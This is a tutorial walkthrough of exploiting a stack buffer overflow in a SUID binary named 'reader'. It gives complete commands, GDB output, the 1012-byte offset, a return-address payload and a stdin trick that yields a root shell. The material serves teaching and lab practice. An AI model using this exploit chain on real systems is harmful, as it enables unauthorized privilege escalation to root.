This tutorial demonstrates how to exploit a stack buffer overflow vulnerability in a SUID binary to redirect execution to a hidden function. The target binary contains a function that spawns a privileged shell, but it’s never called during normal execution.
Reconnaissance
Finding SUID Binaries
First, locate SUID binaries on the system that might be vulnerable:
find /usr/bin -perm -4000
# Or more comprehensively
find / -perm -u=s -type f 2>/dev/nullInitial Analysis
Use ltrace to trace library calls and identify potentially vulnerable functions:
ltrace ./readerIf you see calls to unsafe functions like strcpy with unusual parameters, the binary may be vulnerable.
Function Discovery with GDB
Load the binary in GDB and list all functions:
gdb -q ./readergdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x080484cb srtcpy
0x080484f5 runcommand
0x08048512 readUserData
0x0804854b mainThe runcommand function looks interesting. Let’s examine it:
gdb-peda$ disas srtcpy0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x8
0x080484d1 <+6>: sub esp,0xc
0x080484d4 <+9>: push 0x0
0x080484d6 <+11>: call 0x80483b0 <setuid@plt>
0x080484db <+16>: add esp,0x10
0x080484de <+19>: sub esp,0xc
0x080484e1 <+22>: push 0x8048600
0x080484e6 <+27>: call 0x8048390 <system@plt>Examine the string being passed to system():
gdb-peda$ x/s 0x8048600
0x8048600: "/bin/sh -p"This function calls setuid(0) followed by system("/bin/sh -p") - a privileged shell.
Finding the EIP Offset
Identifying the Overflow Point
Test with increasing buffer sizes to find where the crash occurs:
python -c "print('A'*1100)" | ./reader # Crashes
python -c "print('A'*1000)" | ./reader # No crashCreating a Pattern
Use GDB-PEDA to create a unique pattern and find the exact offset:
gdb-peda$ pattern create 1200 pattern.txt
gdb-peda$ run < pattern.txt
SEGFAULT
EIP: 0x41426e41
gdb-peda$ pattern offset 0x41426e41
1094872641 found at offset: 1012Verifying the Offset
Create a test payload to confirm EIP control:
payload = "A"*1012 + "BBBB"
print(payload)Run it and verify EIP contains 0x42424242.
Crafting the Exploit
Redirecting to the Hidden Function
The target function is at 0x080484cb. Create the exploit:
# exploit.py
payload = "A"*1012 + "\xcb\x84\x04\x08"
print(payload)Generate the payload:
python exploit.py > input.txtKeeping stdin Open
When exploiting binaries that spawn a shell, you need to keep stdin open. Use this technique:
(cat input.txt; cat) | ./readerThe first cat sends the payload, and the second cat keeps stdin open for interactive shell access.
Getting Root
Execute against the SUID binary:
(cat input.txt; cat) | /usr/bin/reader
Provide root password:
Sorry, this is not correct.
whoami
rootFor a proper TTY shell:
python -c 'import pty;pty.spawn("/bin/bash")'Key Takeaways
- SUID binaries are high-value targets for privilege escalation
- Functions using
strcpywithout bounds checking are vulnerable to buffer overflows - Hidden functions in binaries can be discovered through static analysis
- When spawning shells through exploits, keep stdin open using the
(cat payload; cat)technique - The
-pflag in/bin/sh -ppreserves the effective UID, maintaining elevated privileges